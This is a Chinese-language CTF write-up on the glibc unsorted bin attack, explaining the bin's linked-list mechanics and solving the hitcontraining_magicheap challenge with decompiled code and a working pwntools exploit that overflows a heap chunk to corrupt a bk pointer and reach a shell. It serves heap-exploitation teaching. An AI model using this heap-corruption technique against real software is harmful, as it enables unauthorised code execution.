Contents

[Pwn]unsorted bin Attack

unsorted bin Attack

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。

  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。

  • 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

    unsorted bin attack 原理

    https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/unsorted_bin_attack_order.png

~~管理时为循环双向链表 所以里面必有一个节点

一开始时 unsorted bin 的 fd和bk都指向本身

我们free掉一个chunk(p) 然后因为不在fastbin大小中 就归到unsorted bin里 插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取 所以这里会将unsorted bin的fd和bk指向我们的

0
1
2
3
victim = unsorted_chunks(av)->bk=p //这里就是我我们的free掉的那个p
bck = victim->bk=p->bk = target addr-16//bck=p的bk 也就是我们要修改的地址-16是因为等会儿他要改这个地址的FD 而FD的偏移就是16 所以减去16
unsorted_chunks(av)->bk = bck=target addr-16//令unsortedbin的FD指向我们的地址(因为我们把p的chunk给取走了 他要构成循环链表要把后面的接上来(我们默认的free到unsortedbin的地址就是我们unsrotedBin本身地址))
bck->fd = *(target addr -16+16) = unsorted_chunks(av);//这里就是将unsorted_chunks(av)->bk->fd改成unsorted bin地址

例题1.hitcontraining_magicheap

l33t 后门函数

int l33t()
{
  return system("/bin/sh");
}

主函数逻辑

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )//主要逻辑
      {
        if ( (unsigned __int64)magic <= 0x1305 )//判断输入的是不是4869且magic值是不是>4869 是的话就执行后门函数  
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

create_heap 创建chunk

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input((void *)heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

edit_heap 编辑chunk内容 没对输入大小限制 可以溢出

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int edit_heap()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  __int64 v3; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  printf("Size of Heap : ");
  read(0, buf, 8uLL);
  v3 = atoi(buf);
  printf("Content of heap : ");
  read_input(heaparray[v1], v3);
  return puts("Done !");
}

delete_heap (free chunk)

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
int delete_heap()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  char buf[4]; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free((void *)heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

这里就可以用到我们的Unsorted bin attack了 因为我们知道Unsorted bin attack可以修改任意地址的值 而且修改的值肯定会大于目标值

(因为基本Unsorted bin本身的地址就在很大的地方)

我们就可以先创建3个堆

  • 第一个用来 等等free的时候溢出修改我们上面图p->bk位置(大小随便)

  • **第二个就是我们上面图所说的p free进unsorted bin中 **(必须大于fastbin 0x80)

  • 第三个防止我们的p free后给top chunk合并(大小随便) -》这边衍生出top chunk ( 如果top chunk前面的chunk不是fast chunk并且处于空闲,那么top chunk就会合并这个chunk。 如果top chunk前面的chunk是fast chunk,不论是否空闲,top chunk都不会合并这个chunk。)

然后 将p给 free掉 让他进我们的 unsorted bin 中

接着编辑我们的第一个chunk 让他溢出到第二个chunk的BK位置 改写BK为目标地址-0x10 原因说过了

最后在申请创建和chunk2相同大小的chunk

exp

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
magic = 0x6020A0
r = process('./magicheap')
def add(size,content):
	r.sendlineafter('Your choice :','1')
	r.sendlineafter('Size of Heap : ',str(size))
	r.sendlineafter('Content of heap:',content)
def edit(idx,size,content):
	r.sendlineafter('Your choice :','2')
	r.sendlineafter('Index :',str(idx))
	r.sendlineafter('Size of Heap : ',str(size))
	r.sendlineafter('Content of heap : ',content)
def dele(idx):
	r.sendlineafter('Your choice :','3')
	r.sendlineafter('Index :',str(idx))
add(0x10,'a') #chunk1  index:0
add(0x90,'a') #chunk2  index:1
add(0x10,'a') #chunk3  index:2
dele(1)
edit(0,0x100,0x10 * b"a" + p64(0)+p64(0xa1)+p64(0)+p64(magic-16))#修改heap1的fd和bk指针
add(0x90,'xxxxxxxxxxxxxx') #重新申请heap1
r.sendline('4869')
r.interactive()